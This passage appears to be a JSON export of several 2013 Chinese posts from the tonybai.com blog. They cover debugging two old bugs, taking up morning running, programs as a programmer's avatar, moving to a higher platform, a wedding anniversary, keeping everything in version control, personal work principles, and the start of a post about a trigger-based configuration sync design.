B的那行代码的“作用”没能识别出来。这的确是个难题，如果不是原开发人员或评审人员“自发”上报此处的变更，这个变更太容易淹没在代码海洋中而丢失了。目前似乎也没有太好的办法。如果未来能有一种自动识别版本间代码不同且能识别出差异代码的语义变更的工具，那么我相信这款工具一定大卖。\n","permalink":"https://tonybai.com/2013/10/14/when-bug-a-encounter-bug-b/","summary":"\u003cp\u003e\u003cem\u003e2002年的Bug A与2008年的Bug B同时穿越到2013年，并在某个场合相遇了。\u003c/em\u003e\u003c/p\u003e\n\u003cp\u003e上周六，项目组本应以一个愉快的心情结束一天的工作的，但一个2002年的Bug A与另外一个2008年的Bug B同时穿越时空来到了2013年，并且恰恰在那时那刻（下班前）相遇了，于是项目组由放松变成了忙碌，由愉快变成了紧张，17：30的下班点也因此延迟到了凌晨1：30。\u003c/p\u003e","title":"当Bug A遇到Bug B"},{"content":"生命在于运动。\n– 伏尔泰\n我无论如何都没有想到自己居然爱上了跑步。\n* 缘起\n这要追溯到2011年，当时的我感觉自己的身体状况十分不好，各种疲劳感和不适感统统找了上来，精力也严重不足，于是乎给自己开了副药方 – 晨跑， 期望通过锻炼身体恢复身体各个部分的机能。我坚持跑了一个多月，效果甚好：精力充沛，心情舒畅，工作效率显著提高。不过随着天气转冷，懒惰占了上风，而这 次懈怠居然持续了一年多，直到今年年初那场肺炎才再次让我警醒。挂了半个月的点滴才把肺炎治愈，我于是乎痛定思痛，下定决心一定要把运动坚持下去，不能再 半途而废了。\n* 方法\n跑步是我能想到的最容易实施的运动了。我每天早晨5点多（最晚不超过5:30）起床，喝上一杯温白水，简单洗漱后，套上行头，穿上鞋子，出门即跑。我一般 就是绕着小区的外围跑圈。我所住的小区不大，一圈的距离大约有670米（百度地图测距）。我一般慢跑4.6圈，总长度在3km，耗时30分钟左右。停下来 后，我会继续沿着小区散步，并做些肢体伸展锻炼：伸伸胳膊、压压大腿、活动活动颈部和肩部，这个环节大约在10分钟左右。完毕后，回家洗个热水澡，吃早 饭。\n我跑步时基本上以有氧的慢跑为主，速度只是比快走快上那么一丁点儿，并一直保持这个节奏跑完全程，中间没有停歇。\n我跑步的装备十分简陋，我个人也并不是很在意这方面，尤其是在夏天温度适宜的季节（不像深秋和冬季可能需要一定保暖的装备），我的全部装备就是一件棉质的短袖T恤+普通短裤+运动鞋（还不是那种专业的跑鞋）。\n我跑步时是不听音乐的，个人感觉边跑边听音乐会让我失去一些跑步带来的舒畅的快感。而且像MP3播放器或手机之类的东西放在兜里还是蛮沉的，跑起来咣当咣当的，很不爽。\n很多人觉得跑步是枯燥的，尤其是在城市里，周围没有什么景色，有的只是钢筋水泥制成的灰色建筑。诚然，如果能找到一条风景优美的晨跑路线，自然是更好，比 如沿着河边公园，滨海大道，森林小路等。但现实中，多数人可能很难找到这么景色宜人的跑步路线，像我这样能在一个幽静的小区内跑圈已很难得，总比在嘈杂且 污染严重的大马路上跑要强上许多。个人觉得跑步讲究的是一种心境，跑步过程是一个很自我的过程，跑的久了，就会变得心无旁鹜了，沿途的风景也变得并不是那 么重要了。\n坚持锻炼是好事，但过犹不及。要根据自己的身体条件选择锻炼的频率。如果天气条件允许，我一般每周会跑4-5天，主要集中在工作日，周末一般会休息1-2天。这样做比每天都坚持跑步的效果更好，更有利于保持跑步的热情。\n每天早晨起床后，第一件事就是扯开窗帘看，打开窗户闻，看看外面的温度与空气污染情况是否适宜晨跑。如果不确定，还可以打开气象网站，查看晨练指数。如果真的不宜晨练，比如PM2.5偏高，那还是乖乖待在室内看书吧，就当节奏调整了。\n* 感觉\n因为爱上了跑步，最近我特意找了几本关于跑步的书籍阅读，比如《跑步圣经》，虽然还没有读完。我惊奇的发现跑步给我带来的感觉与书中描述的十分吻合，真是不跑不知道，一跑忘不掉啊^_^。\n心情愉悦。也许你最初几次的跑步过程会让你觉得有些疲劳，那是正常的身体生理反应。一旦过了这个阶段，根据自己的身体情况调整好了自己慢跑的节奏，你就会 在跑步过程中感觉到身体以及大脑中充盈着一种令你愉悦的物质，这种物质让你的身心都变得放松，甚至顿感烦恼也一下子少了很多。\n自信，由内心迸发出的一种自信的赶角。也许是战胜身体疲劳的缘故，跑步中段你能感受到内心迸发出的一种自信的感觉，让你对眼前的工作、未来的生活都充满信心，丝毫没有畏惧。\n精力充沛，思维敏捷，注意力更集中。本以为每天的晨跑会带来身体疲惫的感觉。但事实恰恰相反，每天晨跑后，都感觉身体充满了能量，尤其是上午时段，大脑运转的更加有效率，思维更加富有创造力，丝毫没有浑浑噩噩的感觉。另外做起事来注意力更为集中，工作更有效率。\n除此之外，跑步还让我养成早睡早起的良好作息习惯，每天保持6-7小时睡眠足矣。\n* 改进\n在跑步这项运动上，自己充其量算是个入门选手，既然爱上了跑步，在一些细节方面就要逐步改进，争取做的更好。\n增加热身。夏天还好，冬天即将到来，没有热身运动就开始跑的确会增加受伤的可能。\n降低体重。让我难以置信的是锻炼了一个夏天，我的体重居然不降反升，目前又回到了170多斤。我尽量争取将体重降到一个适合的范围。\n补充装备。还没有试过在冬天进行跑步锻炼。冬天晨跑的一个重点就是要保暖，所以应该适当购入一些装备，防止运动损伤。\n强化习惯。通过每天跑步完成后在台历上做记号或投币攒装备的方法正向强化跑步习惯。\n","permalink":"https://tonybai.com/2013/10/09/love-running/","summary":"\u003cp\u003e\u003cem\u003e\u003cstrong\u003e生命在于运动。\u003c/strong\u003e\u003c/em\u003e\u003cbr\u003e\n                        \u003cem\u003e– 伏尔泰\u003c/em\u003e\u003c/p\u003e\n\u003cp\u003e我无论如何都没有想到自己居然爱上了跑步。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e* 缘起\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e这要追溯到2011年，当时的我感觉自己的身体状况十分不好，各种疲劳感和不适感统统找了上来，精力也严重不足，于是乎给自己开了副药方 – \u003cstrong\u003e晨跑\u003c/strong\u003e， 期望通过锻炼身体恢复身体各个部分的机能。我坚持跑了一个多月，效果甚好：精力充沛，心情舒畅，工作效率显著提高。不过随着天气转冷，懒惰占了上风，而这 次懈怠居然持续了一年多，直到今年年初那场肺炎才再次让我警醒。挂了半个月的点滴才把肺炎治愈，我于是乎痛定思痛，下定决心一定要把运动坚持下去，不能再 半途而废了。\u003c/p\u003e","title":"爱上跑步"},{"content":"程序是什么？\n大师们曾给过这样的诠释：\n程序 = 数据 + 指令\n程序 = 数据结构 + 算法\n对此我也表示十分认同。但感觉这些观点更多是从机器运行模型或逻辑抽象的角度看待程序的，是左脑的产物。我的右脑告诉我：程序是程序员的avatar（化身）。这个隐喻式的诠释会让“程序”更有温度，并有些许人性的色彩。\n计算机（CPU、主板、内存、磁盘、网络）为程序提供了一个拥有有限资源的的电子世界。在这个电子世界中，生存着不同程序员的avatar，他们 可能彼此相知，也可能从未谋面，他们各负其责，辛勤的工作着，为的是让这个电子世界运行的更加高效、稳定和长久。在这个电子世界里，avatar 也有角色与轻重之分：有负责资源调度的总管 – OS kernel avatar，也有专门从事某种服务的service avatar，当然数量最多的还属各种application avatar。和人类世界一样，有正义的avatar，也有“邪恶”的avatar，入侵者avatar(病毒、木马）和保护者avatar（杀毒软件、 防火墙）进行着旷日持久的“战争”。\n这些avatar的背后其实是数以千万计的程序员们。与其说程序员在考虑程序的设计和实现，不如说他们在考虑其avatar的设计和实现，是他们 设计并实现了这些avatar。思维一旦转变，很多事情将发生变化。当我们认同的这种说法时，摆在我们面前的问题就从如何设计一个优秀的程序，变 成了如何给自己设计一个avatar了。这种认知上的改变首先会给你带来不一样的动力和热情。抱着30斤石头站30分钟和抱着自己30斤重的孩子 站30分钟，整个过程的感受是截然不同的。同样，与设计和实现冰冷的程序相比，给自己设计avatar显然更能提升程序员的动力和热情。想象一下 自己的avatar在电子世界扮演的重要角色吧！你的avatar应该长成什么样子，具备什么样的能力，如何与其他avatar交流等等。\n此外，你的avatar不止一份。你编写出了代码，这些代码被放在N个主机上启动，你的avatar就会有N个实例。这就好比程序只有一个，而从 该程序启动的进程可以有很多。你的avatar好似被复制了若干份，运行在不同的电子世界中，做着相同的工作。与电影《阿凡达》中的魁梧高大可视 的avatar不同，你的avatar不那么形象，看不到，摸不着，仅存在于你的想象当中。或者更像是《黑客帝国》中的概念，世界是程序与程序间 的交互，是程序员们avatar之间的交互所构成的，是程序员灵魂、意识的存在与延续。\n你肯定不希望你的avatar是一只青蛙，因此我们在设计我们的avatar时是有考量的。\n【构成】\n* 骨骼硬朗精奇\n即程序代码脉络清晰，结构健壮。\n* 外表清新雅致\n即程序代码风格优美，维护性好。\n【行为】\n考虑到电子世界是一个资源有限的世界，且其中存在各种陷阱以及恶意的avatar，我们的avatar应该具备以下行为特征：\n* 正确地做事\navatar应该将份内的事情做好做正确，这是对avatar最基本的行为要求。\n* 自我保护能力\n在电子世界中充满风险，avatar应该对其收到的来自其他avatar的信息进行识别和校验，对于非法和恶意的输入予以拒绝和抛弃。对于来自OS kernel avatar反馈的任意异常信息都能予以正确的应对和处理。\n* 不作恶\n在电子世界里，也要遵循电子世界的规矩：不贪婪（肆意占用内存和CPU）、不制造混乱（恶意删除文件数据等）、留在在自己的地盘内，不乱跑乱窜（尝试突破访问权限）、不乱扔垃圾（不及时清理自己创建的文件等）等。\n* 工作有效率\n在不贪婪的前提下，avatar利用有限资源更高效的工作，应形成更多的产出。\n一旦程序员站在设计avatar的高度去设计程序，就会将自己的思维融入程序，做到“见avatar如见程序员其人”。在程序设计过程中，考虑到人性的特质，至少不会那么冰冷，不是吗^_^\n","permalink":"https://tonybai.com/2013/10/08/program-the-avatar-of-programmers/","summary":"\u003cp\u003e程序是什么？\u003c/p\u003e\n\u003cp\u003e大师们曾给过这样的诠释：\u003cbr\u003e\n       \u003cem\u003e程序 = 数据 + 指令\u003cbr\u003e\n    程序 = 数据结构 + 算法\u003c/em\u003e\u003c/p\u003e\n\u003cp\u003e对此我也表示十分认同。但感觉这些观点更多是从机器运行模型或逻辑抽象的角度看待程序的，是左脑的产物。我的右脑告诉我：\u003cem\u003e\u003cstrong\u003e程序是程序员的avatar\u003c/strong\u003e\u003c/em\u003e（化身）。这个隐喻式的诠释会让“程序”更有温度，并有些许人性的色彩。\u003c/p\u003e","title":"程序 – 程序员的avatar"},{"content":"中秋休假期间，在PPS上看了最新一集的龙珠Z剧场版“龙珠Z：神与神”。《七龙珠》是我最喜欢的一部日本漫画，年少时曾为之疯狂过。其对应的动画片《龙珠》以及《龙珠Z》我也是集集不落的，这部“龙珠Z：神与神”延续了龙珠Z的精彩。\n片中主人公孙悟空与破坏神比鲁斯有过两次交手。第一次在界王星上，变身为超级塞亚人3的孙悟空被破坏神几乎“秒杀”；第二次是为了保护地球，孙悟空在悟饭、悟天、贝吉塔、特兰克斯的帮助下变身为超级塞亚人之神，这才有了与破坏神周旋的战力。由于超级塞亚人之神的变身时间有限，在经过激烈的战斗后，孙悟空变回了普通的塞亚人。不过同样是塞亚人，战斗前后的悟空却大不一样：变回普通塞亚人的悟空在关键时刻，在不借助其他塞亚人帮助的情况下，可凭借一己之力变身为超级塞亚人之神，并继续拥有与破坏神分庭抗礼的战力。按照片中破坏神战后的分析：“因为拥有天才格斗感的悟空体验到了作为超级赛亚人之神的世界，所以将其吸收融入了身体”。也就是说孙悟空已经感受到了神的境界，这是孙悟空之前无论通过多长时间，多么严酷的训练都无法达到的境界。而一旦让悟空感受到了这个境界，他的战力就会迅速提高到这个境界。\n这个片子给我的启示是：站在更高的平台上！这里的平台是个泛指的概念，它可以具象为某个组织，某个团队，某个牛人，也可以是某个环境，某个国家，某种社会甚至是上面说的某种境界等。平台间存在能力差异，有些时候这种差异甚至是巨大的，无法弥补的。平台内个体能力的提升是有限度的，最终总是会碰到平台的“天花板”的。这时如果不跳到一个更高到平台的话，个体能力的提升将是甚是缓慢的甚至是原地不动的。\n我们来看两个典型的例子：\n【足球圈子里的“平台”】\n按区域来看，世界公认的最高平台是欧洲足球，其次是南美，之后是非洲、中北美和亚洲。欧洲足球细分后，也可以划分为若干“平台”：最低的是非五大联赛，然后是五大联赛，五大联赛中也有豪门以及顶级豪门等平台可分。中超也是一个平台，一些有潜质的年轻球员在中超进步很快，很快成为中超顶级球员，但若继续留在中超这个平台，那么他的能力将再也无法得到大幅的提升，毕竟咱中超这个平台能力很洼。这时我们可以看到很多球员开始谋求留洋，走向一个更高的平台，以继续提升足球水平。在欧洲这个足球发达的地区，也是如此。很多在非五大联赛踢球的优秀球员向五大联赛流动，顶尖球员向豪门流动，都符合这个道理。\n【科学家圈子里的“平台”】\n为什么留在欧美做若干年研究后就可以步入某个领域顶尖科学家行列，而同样水平的人在国内混迹几年后就变得碌碌无为了呢，这就是平台的作用。我们看到有越来越多的华人面孔在所在领域成为领军人物，但前提是这些人绝大多数是在欧美顶尖高校或实验室内学习和工作，在这种顶级的平台上，他们拉大了与其他平台上同行的能力差距，取得了顶级成果；而在国内平台上的那些选手，他们很难突破平台的“天花板”，又无法跳到更高的平台，虽然在国内依旧是一流选手，但与世界顶级学者相比，差距也许在逐渐拉大。\n俗话说：“与臭棋娄子下棋，越下越臭”。反之，与高手对决，越战越强，哪怕是偶尔输掉。七龙珠中的孙悟空就是在经历了与比克、贝吉塔、弗利萨、沙鲁、布欧等高手的对决后，才变成最强者的。而如果让梅西到中超联赛混迹几年，估计也会变得平庸无为了。要勇于登上更高的平台，与高手共舞，至少我们要始终具有这种意识。\n程序员是一个苦逼的职业，技术变化日新月异，程序员要学的东西很多。职业的特殊性要求我们快速学习，快速进步，变得更强，才能脱颖而出。我们欣喜地看到越来越多优秀的程序员为自己喜欢的事情努力着，提升自己的能力。他们进步很快，但一段时间后，就碰到了天花板。无论如何努力，始终无法取得实质性的进步。这时候要想获得突破，就不得不更换更高的平台了。\n不过也有例外，那就是当你变成所在平台的主导者时，你是有机会提升整个平台的能力水准的，在这个过程中你的能力也随着平台的提升而提升，你可能成为唯一能力超越这个平台但仍属于这个平台的人。这样的人已经突破了一些思维和眼界的限制，并且很有奉献精神，自驱力超强，能力突出。这样的人就是所谓的领军人物，是不可多得的人才。\n如果你不是领军人物，又没有认识到或没有勇气站到更高的平台上去，那么你可要小心了。你的工作热情会被时间打磨殆尽，你的能力会止步不前，你始终在重复着以前的工作，你的知识、技能和经验不再有新鲜感，你对自己不再拥有自信，你会逐渐失去工作的方向感，你开始在能力之外寻找安全感，你的竞争力在逐渐流失。\n我的身边不乏成功切换平台的好例子，郑大大就是一个让我顶礼膜拜的典型，他的这篇“打开视野”也或多或少反映了他当初的心路历程。\n没有最高，只有更高。让自己始终保有站上更高平台上的意识、选择平台以及被更高平台选择的能力吧！以此和大家共勉！\n","permalink":"https://tonybai.com/2013/09/24/stand-on-a-higher-platform/","summary":"\u003cp\u003e中秋休假期间，在\u003ca href=\"http://www.pps.tv/\"\u003ePPS\u003c/a\u003e上看了最新一集的龙珠Z剧场版“\u003ca href=\"http://movie.douban.com/subject/11503382/\"\u003e龙珠Z：神与神\u003c/a\u003e”。《\u003ca href=\"http://book.douban.com/subject/2063268/\"\u003e七龙珠\u003c/a\u003e》是我最喜欢的一部日本漫画，年少时曾为之疯狂过。其对应的动画片《龙珠》以及《龙珠Z》我也是集集不落的，这部“龙珠Z：神与神”延续了龙珠Z的精彩。\u003c/p\u003e\n\u003cp\u003e片中主人公孙悟空与破坏神比鲁斯有过两次交手。第一次在界王星上，变身为超级塞亚人3的孙悟空被破坏神几乎“秒杀”；第二次是为了保护地球，孙悟空在悟饭、悟天、贝吉塔、特兰克斯的帮助下变身为超级塞亚人之神，这才有了与破坏神周旋的战力。由于超级塞亚人之神的变身时间有限，在经过激烈的战斗后，孙悟空变回了普通的塞亚人。不过同样是塞亚人，战斗前后的悟空却大不一样：变回普通塞亚人的悟空在关键时刻，在不借助其他塞亚人帮助的情况下，可凭借一己之力变身为超级塞亚人之神，并继续拥有与破坏神分庭抗礼的战力。按照片中破坏神战后的分析：“因为拥有天才格斗感的悟空体验到了作为超级赛亚人之神的世界，所以将其吸收融入了身体”。也就是说孙悟空已经感受到了神的境界，这是孙悟空之前无论通过多长时间，多么严酷的训练都无法达到的境界。而一旦让悟空感受到了这个境界，他的战力就会迅速提高到这个境界。\u003c/p\u003e","title":"站在更高的平台上"},{"content":"今天是一个特别值得纪念的日子 – 我和老婆的结婚五周年纪念日。五年前的今天我和老婆领了证，正式步入了围城。平时总被她抱怨不浪漫的我这次特意准备了一对黄金玫瑰耳钉作为我们“木婚” （结婚五年）纪念日的礼物。老婆也蛮喜欢，我也甚是Happy（以前LP总是不中意我给她买的礼物）。\n很想对这五年来的婚姻生活做一次“精彩”的回顾，但想了许久，也不得思路。于是我发现这几年的婚姻生活和大多数家庭一样 – 温馨而平淡，没什么“惊天动地”的故事。我和老婆也都是那种不善于表达的人类，尤其是情感方面，没有那么多细腻的东西，有些不那么浪漫。婚后的生活也无非 是衣食住行+柴米油盐+适当的娱乐。\n和大多数现代年轻家庭一样，老婆在家里是名义上的“一把手”：老婆指东，我决不向西，但实际上一些大事还是我拿主意^_^。老婆在家里属于绝对的“享乐型”，除了女儿的一些事情外，一切大小事务基本都全权交给我处理，用句俗话说：LP不是操心的命儿啊。\n在家里，老婆手握财政大权，这几年来总体感觉钱管得还可以，至少知道钱没有乱花，她就是传说中的能存住钱的主儿。我们的家庭也遵循着中国社会俗的不能再俗的现实版家庭成长路线 – 房子、孩子、车子、房子(for daughter)…\n家庭生活中，两个人不可避免会有些磕磕碰碰。每次红脸，老婆总是坚持到最后的那个胜利者。\n老婆爱逛街，我就陪她去香港逛；老婆爱看青春都市剧，如果是我觉得还不错的，我就让陪着老婆看，并端上洗好的水果，有些时候帮她打打洗脚水^_^。\n老婆爱减肥，给她买呼拉圈，“怂恿”她去晨跑，监督她晚上不吃饭。结果呼拉圈上早已落了一层灰，我也基本养成了晨跑的习惯，而她的体重似乎没有明显变化。\n老婆工作忙，加班较多，每天下班都去接她，有时候在外面等到很晚。后来老婆心疼我：干脆让我坐班车，她自己开车。\n老婆不是那么“求上进”，于是我总唠叨她去学习去提高，并给她买了一些可以帮助她在工作中提升技能的书。书在书架上沉睡了好长时间后，终于在最近得到了老婆的垂青。老婆在学到新知识、新技能后，也是很有成就感的，还主动在我面前“炫耀”。我暗自窃喜：我的目的达到了。\n老婆对我要求倒甚是严格。总是拿我与他们公司的这个副总、那个总的比来比去，让我倍感亚历山大，于是我就持续奋发图强，希望在不久在将来能有更好的结果让老婆满意。\n老婆认准的事情（虽然不多），她总是努力去办到。比如当年老婆就是坚持自己生果果，坚决不剖，于是每天晚饭后，我都陪着挺着大肚子的LP在小区溜弯至少一 小时，即便是数九寒冬；再比如老婆坚持母乳喂养。在奶水不足，上班不便的情况下，也楞是让果果吃了一年的母乳。这点我还是挺佩服的。\n掐指算来：每天早上6：30起床，7：30出门，晚上18：30回家，22：30以后入睡。不算睡眠时间，实际一个工作日与lp在一起的时间也就是5-6个小时。有时候一天也说不上几句话。\n婚姻生活就是这样的平淡入水，但是只要两个人活得真实、彼此间都有存在感就很好了，我们还能期望什么呢！\n今天出门太早，不忍叫醒还在梦乡中的老婆，于是上飞机前给老婆发了一条简单不能再简单的暧昧短信（你能猜到的哦）以贺我们的结婚纪念日以及真切表达我那时那刻的心情。\n此刻我在春城昆明写下此文，希望老婆能永远让我宠着，永远当我们家的“一把手”。\n","permalink":"https://tonybai.com/2013/09/09/fifth-wedding-anniversary/","summary":"\u003cp\u003e今天是一个特别值得纪念的日子 – 我和老婆的\u003cstrong\u003e结婚五周年纪念日\u003c/strong\u003e。五年前的今天我和老婆领了证，正式步入了围城。平时总被她抱怨不浪漫的我这次特意准备了一对黄金玫瑰耳钉作为我们“木婚” （结婚五年）纪念日的礼物。老婆也蛮喜欢，我也甚是Happy（以前LP总是不中意我给她买的礼物）。\u003c/p\u003e","title":"结婚五周年纪念"},{"content":"本文翻译自Dr. Dobb’s杂志主编Andrew Binstock的\u0026quot;Putting Absolutely Everything in Version Control\u0026ldquo;一文。\n持续交付(Continuous Delivery)的一个关键原则就是将所有东西都放入版本控制系统中。这解决了一些重大问题，但也引入了一些其他问题。\n持续交付是持续集成(CI)的一个自然扩展。后者旨在每次代码签入后运行构建并为开发者提供即时的反馈，而持续交付的目标则涵盖更广。它谋求在每 次代码签入后进行构建、测试以及最终可执行程序的部署（这里的部署针对的是测试环境，而不是生产环境）。这个想法保证了一个工程在任何时候都拥有 一个已知部署安全的可交付的应用。这个应用也许不是功能完备的，但却是可以运行起来的。\n在一些拥抱敏捷开发的地方，持续交付正逐渐追上了持续集成的脚步，因为它在许多领域促进了最佳实践的使用，并消除了在部署过程中发现意外缺陷的问 题。它还使得团队熟知部署，让依靠传统手段进行部署所带来的那令人屏息的时刻成为历史。\n把所有东西都放入版本控制系统(Version Control System, VCS)是对持续交付很重要的一个最佳实践。是所有东西，我说的的确是所有东西。这里引用一段对持续交付有着重要意义的文字：“当然，开发者应该使用版本 控制系统管理源码，但是也应该将其用于测试、数据库脚本、构建和部署脚本、文档、库以及你的应用的配置、你的编译 器和工具集等等。这样一个刚进入团队的新成员便可以从头开始工作了”。\n这是一种激进的状态 — 我们中有多少人会把编译器放入版本控制系统中呢？但是，它解决了一个重要的问题：重建旧版本的软件，虽然这种情况很少见，但一旦出现，可能会给你带来很大困难。大 多数从事过编程维护工作的人都有无法重现一个缺陷的经验，因为任意一个工具的改变都会导致原先的二进制程序无法被复制出来。这种方法还给我们提供 了另外一个好处：可以保证每个团队成员在开发中使用相同的文档和工具。无需再担心海外的团队成员获取到不同的需求或使用一个更新版本的编译器等问 题了。团队中的每个人都是从同一口井里取水的。\n然而，完成这一任务并非易事。最近在波士顿举行的Citcon(译者注：CITCON, the Continuous Integration and Testing Conference)上，这个话题就在一个CI爱好者的会议上被提出讨论。第一个问题是许多开发工具不只是一个简单的二进制程序和一些动态库，相反，他 们依赖OS库并且必须安装后才能正确的运行起来（尤其是在Windows上）。这个问题在某种程度上可以通过使用虚拟机来补救。在虚拟机上安装OS以及用 于自动化构建的工具，接下来将整个虚拟机签入到版本控制系统中。这种方式工作起来很好，不过它也需要你在虚拟机中构建你的产品，否则你需要建立两套独立的 环境，他们难免会不同步。（Linux和Unix受这个问题影响较小，因为它们没有注册表。上帝请保佑那些将二进制文件和配置文件放在同一个目录下的产品 的工具制造者吧！）\n一个更隐蔽的问题是并不是所有的版本控制系统都能很好地支持二进制文件。例如，Git被设计成一个纯粹的SCM（而不是VCS， 译注：SCM，Software Configuration Management，软件配置管理系统），在处理规模较大的工程或具有大量二进制文件的工程时十分困难。（如果你将工具和虚拟机签入，从SCM角度来 说，你的项目将自动变大）。在这个领域，商业产品更加擅长。尤其是Perforce，它在快速处理二进制文件，尤其是大工程上面下了大量功夫。\n另一个挑战是脚本中存在的密码。持续交付中的部署针对的是非生产环境，将密码留在非生产环境（即测试环境）下风险可能很小，这可部分抵消这个问题的影响面。对其它组织而言，对密码进行加密是可以提供的另外一个解决方案。\n最后，我应该注意到即便上面提到的那本书（译注：指的是《持续交付》这本书）也是不推荐将构建产生的二进制文件放入VCS中的，这是有道理的。毕竟二进制 文件很大并且样式繁多。而将所有东西都放入VCS的重点只是为了能够在未来的某个时间点上重建出那些相同的二进制文件。\n就个人而言，我不认为可能将每个项目的所有东西都放入SCM中。基于Linux的使用开源工具的工程最有希望达成这一目标。然而，我相信为了尽可能地接近 这个目标而付出的努力是值得的。它赋予你一种安全感：可以在任一时刻，回到过去重建旧版本的产品，并且所有人都基于同一个工具源上工作。在我看来，这些益 处要远大于其他原则引入的弊端。\n","permalink":"https://tonybai.com/2013/09/04/putting-absolutely-everything-in-version-control/","summary":"\u003cp\u003e本文翻译自\u003ca href=\"http://www.drdobbs.com/\"\u003eDr. Dobb’s\u003c/a\u003e杂志主编Andrew Binstock的\u0026quot;\u003ca href=\"http://www.drdobbs.com/tools/putting-absolutely-everything-in-version/240160762\"\u003ePutting Absolutely Everything in Version Control\u003c/a\u003e\u0026ldquo;一文。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e\u003ca href=\"http://book.douban.com/subject/6862062/%E2%80%8E\"\u003e持续交付\u003c/a\u003e(Continuous Delivery)的一个关键原则就是将所有东西都放入版本控制系统中。这解决了一些重大问题，但也引入了一些其他问题。\u003c/strong\u003e\u003c/p\u003e","title":"把所有东西都放入版本控制系统"},{"content":"自我认知是循序渐进的，体会到了，就想将其整理出来，给自己一个交代。\n- Tony Bai\n关于我的工作原则，感觉之前的那篇总结的还不够，这两天通过观察自己的所言所行，又有了些思绪，这里记录下来。\n* 重塑标准\n简单来说就是根据组织实际情况，重新建立各种标准 – 技术标准、人员标准和产品标准。 个人认为这恰是一种实事求是的积极态度。避免陷入技术泥潭中无法自拔，不用Google的人才和做事标准来要求组织内部的人和招聘新人上，认识到存在的差 距。恰如当年钱学森根据国内人力、物力以及实际技术水准重新制定了标准，而不是照搬美国的标准，否则造导弹就会变成一个不可能完成的任务，对团队 士气也将会是一个极大的打击。\n* 问题理解要透彻\n很多时候，干完了才知道白干了，这往往缘于起初对问题理解的不够透彻，没有抓住焦点，导致Solution不是最合适的，引发不必要的返工。但很 多问题往往无法一次性透彻地理解，这就需要在工作方法上有所调整，以尽可能少的工作消耗去理解和摸索，对工作内容进行阶段性的反思和重构。这样在 1.0, 2.0以及3.0等后续版本的演进过程中，你会发现问题将变得逐渐清晰，焦点也会越来越清楚。而一旦问题被看透，最正确的Solution自然就会在大脑 中形成。\n* “眼见为实”还不够\n俗语讲：眼见为实。但在工作中，有些时候“眼见为实”还不够，因为很多时候眼中看到的是假象，这在调试和查找技术问题时显得尤为突出。无数次的问 题调查告诉我：始终要保持头脑清醒和逻辑清晰，不能人云亦云，不能轻易相信亲眼所见的“事实”。要追求逻辑的全局合理性，一丝的不 合理都要刨根问底，不遗漏任何蛛丝马迹。\n* 把事情做在前面\n以推进知识管理为例，在发布知识库之前就应该把发布后可能遇到的各种问题、阻碍想清楚，提前就这些可能的问题给出方法、答案的指导或以Q\u0026amp;A的形 式与知识库一并发布。这些要做在前面的事情包括几类：解放思想的（帮助大家突破原有思维禁锢）、最佳实践的（告知以何种方式去做收到的效果最好）、基本知 识技巧普及的（以大家最易接受的方式对基本知识技巧做出诠释）、服务运维的（还以知识库为例，发布后，你要始终保证其运行稳定可靠，不能让其他人操心于此 事）等。\n","permalink":"https://tonybai.com/2013/09/03/my-personal-work-principles-2/","summary":"\u003cp\u003e\u003cem\u003e自我认知是循序渐进的，体会到了，就想将其整理出来，给自己一个交代。\u003c/em\u003e\u003cbr\u003e\n                                                                            \u003cem\u003e- Tony Bai\u003c/em\u003e\u003c/p\u003e\n\u003cp\u003e关于我的工作原则，感觉之前的\u003ca href=\"http://tonybai.com/2013/08/19/my-personal-work-principles/\"\u003e那篇\u003c/a\u003e总结的还不够，这两天通过观察自己的所言所行，又有了些思绪，这里记录下来。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e* 重塑标准\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e简单来说就是根据组织实际情况，重新建立各种标准 – 技术标准、人员标准和产品标准。 个人认为这恰是一种实事求是的积极态度。避免陷入技术泥潭中无法自拔，不用Google的人才和做事标准来要求组织内部的人和招聘新人上，认识到存在的差 距。恰如当年钱学森根据国内人力、物力以及实际技术水准重新制定了标准，而不是照搬美国的标准，否则造导弹就会变成一个不可能完成的任务，对团队 士气也将会是一个极大的打击。\u003c/p\u003e","title":"我的工作原则2"},{"content":"很多时候，一旦习惯了某些事情，也就习惯了它们的恶劣，习惯了它们的丑陋，习惯了它们“赋予”你的各种痛苦。\n– Tony Bai\n一、痼疾难解\n曾几何时，在那个还没有集群化，没有分布式的时代，它还是一个不错的方案，至少在线上没有暴露出太多问题，它也不在我们关注的重点范围之内。但随 着集群化、分布式的新版本的到来，那一大坨遗留的代码就变得格外让人不顺眼，同时问题也随之在线上暴露开来了。\n这里的“它”指的就是我们目前的业务配置数据同步方案。简单描述这个方案如下：\n* 方案涉及两个角色 – 数据库(DB)与应用节点（app_node)；\n* 所有的业务配置数据均统一存储在DB中；\n* 应用节点在启动后从DB中读取最新业务配置数据；\n* 应用节点运行过程中，如果DB中的业务配置数据发生变更（增/删/改），DB中的触发器(trigger)将会执行。在触发器的脚本中，触发器将会【串 行】地与每个应用节点建立TCP链接，并将业务配置表的变更信息发给各个应用节点。 应用节点会接收并【解析】触发器发过来变更数据包，并同步到自己的本地内存中。这样就达到了运行时更新配置的目的。\n上面我用【】标记了两个关键词：“串行”和“解析”。这两个词隐含有这个方案的两个主要问题。\n“串行” – 意味着每一次DB的业务配置数据变更，trigger脚本都要逐个与应用节点建立链接并收发数据。当应用节点逐渐增多时，每一次业务数据同步都会相当地耗 时。尤其是当某个应用节点所在主机出现问题时，到该节点链接建立的过程会阻塞，导致整个业务配置数据同步的时间达到无法忍受的地步。\n“解析” – 我们自定义了trigger与应用节点之间的协议包。协议包中包含了每次变更的详细信息，比如在某个表添加一条记录，trigger会将这个记录的每个字 段信息排成一行打包发给应用节点。应用节点收到这个包后，会根据已有的表字段信息对该包进行解析。看得出这是一个很强的耦合：表字段一旦修 改，trigger脚本要修改，应用节点的解析函数要修改，还要考虑协议包中表字段的排序。如果应用节点解析时与trigger脚本打包时的字段 顺序不同的话，那就可能出现严重错误，而且这种错误有时难于校验并难于发现。\n二、曾经的努力\n针对这个方案的不足，我们曾经也做过改进，但主要针对的是解决“串行”这个问题上。\n第一次改进：同步的发起能否并行做？trigger脚本能否并行发起对各个应用节点的链接建立请求？\nJava组同事对trigger脚本做了改进。让trigger脚本调用function，而function中又调用了写好的Java方 法，Java代码由DB加载到环境中。在Java方法中创建多个同步线程，并发与各应用节点建立链接并发送数据。这个方法的确可以变“串行”为 